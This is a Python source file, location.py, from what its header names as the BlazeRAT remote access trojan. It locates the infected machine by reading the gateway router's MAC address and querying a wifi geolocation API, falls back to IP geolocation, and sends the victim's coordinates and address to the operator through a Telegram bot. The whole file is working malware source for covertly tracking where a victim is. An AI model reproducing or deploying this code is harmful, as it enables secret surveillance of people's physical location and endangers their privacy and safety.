location.py 4.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from typing import Union
  5. from requests import get
  6. from core.logger import Log
  7. from netifaces import gateways
  8. from getmac import get_mac_address
  9. from psutil import sensors_battery
  10. from core.messages import services as Messages
  11. """
  12. Author : LimerBoy
  13. github.com/LimerBoy/BlazeRAT
  14. Notes :
  15. The file is needed
  16. to get geolocation based on BSSID or IP
  17. """
  18. # Is laptop?
  19. def IsLaptop() -> bool:
  20. return sensors_battery() is not None
  21. # Get value
  22. def GetValue(data, val) -> str:
  23. try:
  24. return data[val]
  25. except KeyError:
  26. return "Unknown"
  27. """ Get dafault gateway ip address """
  28. def GetGateway() -> Union[bool, str]:
  29. try:
  30. gws = next(iter(GetValue(gateways(), "default").values()))
  31. except (StopIteration, AttributeError):
  32. return False
  33. else:
  34. return gws[0]
  35. """ Get location based on BSSID address """
  36. def BssidApiRequest(bssid: str) -> Union[bool, dict]:
  37. # Make request
  38. try:
  39. response = get("https://api.mylnikov.org/geolocation/wifi?v=1.2&bssid=" + bssid)
  40. except Exception as error:
  41. print(error)
  42. return False
  43. else:
  44. # Parse json
  45. json = response.json()
  46. if json["result"] == 200 and response.status_code == 200:
  47. lat = GetValue(json["data"], "lat")
  48. lon = GetValue(json["data"], "lon")
  49. addr = GetValue(json["data"], "location")
  50. rang = GetValue(json["data"], "range")
  51. return {
  52. "latitude": lat,
  53. "longitude": lon,
  54. "range": rang,
  55. "address": addr,
  56. "text": "Based on BSSID " + bssid
  57. }
  58. else:
  59. return False
  60. """ Get location based in IP address """
  61. def IpApiRequest() -> Union[bool, dict]:
  62. # Make request
  63. try:
  64. response = get("http://www.geoplugin.net/json.gp")
  65. except Exception as error:
  66. print(error)
  67. return False
  68. else:
  69. json = response.json()
  70. if json["geoplugin_status"] == 200 and response.status_code == 200:
  71. lat = GetValue(json, "geoplugin_latitude")
  72. lon = GetValue(json, "geoplugin_longitude")
  73. addr = GetValue(json, "geoplugin_countryName") + ", " + GetValue(json, "geoplugin_city") + ", " + GetValue(json, "geoplugin_regionName")
  74. rang = GetValue(json, "geoplugin_locationAccuracyRadius")
  75. return {
  76. "latitude": float(lat),
  77. "longitude": float(lon),
  78. "range": int(rang),
  79. "address": addr,
  80. "text": "Based on IP " + GetValue(json, "geoplugin_request")
  81. }
  82. else:
  83. return False
  84. """ Get location by BSSID """
  85. def GetResultBSSID(message, bot) -> Union[bool, dict]:
  86. chatid = message.chat.id
  87. # Log
  88. Log("Location >> Trying get coordinates based on BSSID address", chatid)
  89. # Detect default gateway ip
  90. gateway = GetGateway()
  91. if not gateway:
  92. bot.send_message(chatid, Messages.location_gateway_detection_failed)
  93. return False
  94. # Get gateway mac address
  95. try:
  96. bssid = get_mac_address(ip=gateway, network_request=True)
  97. except Exception as error:
  98. print(error)
  99. bot.send_message(chatid, Messages.location_arp_request_failed)
  100. return False
  101. # Get BSSID information
  102. result = BssidApiRequest(bssid)
  103. if not result:
  104. bot.send_message(chatid, Messages.location_api_request_failed)
  105. return False
  106. return result
  107. """ Get location by IP """
  108. def GetResultIp(message, bot) -> Union[bool, dict]:
  109. chatid = message.chat.id
  110. # Log
  111. Log("Location >> Trying get coordinates based on IP address", chatid)
  112. result = IpApiRequest()
  113. if not result:
  114. bot.send_message(chatid, Messages.location_api_request_failed)
  115. return False
  116. return result
  117. """ Send location """
  118. def SendLocation(message, bot) -> None:
  119. chatid = message.chat.id
  120. bot.send_chat_action(chatid, "find_location")
  121. if IsLaptop():
  122. result = GetResultBSSID(message, bot)
  123. if not result:
  124. result = GetResultIp(message, bot)
  125. else:
  126. result = GetResultIp(message, bot)
  127. # Send geolocation
  128. bot.send_location(chatid, result["latitude"], result["longitude"])
  129. bot.send_message(chatid,
  130. Messages.location_success % (
  131. result["latitude"],
  132. result["longitude"],
  133. result["range"],
  134. result["address"],
  135. result["text"])
  136. )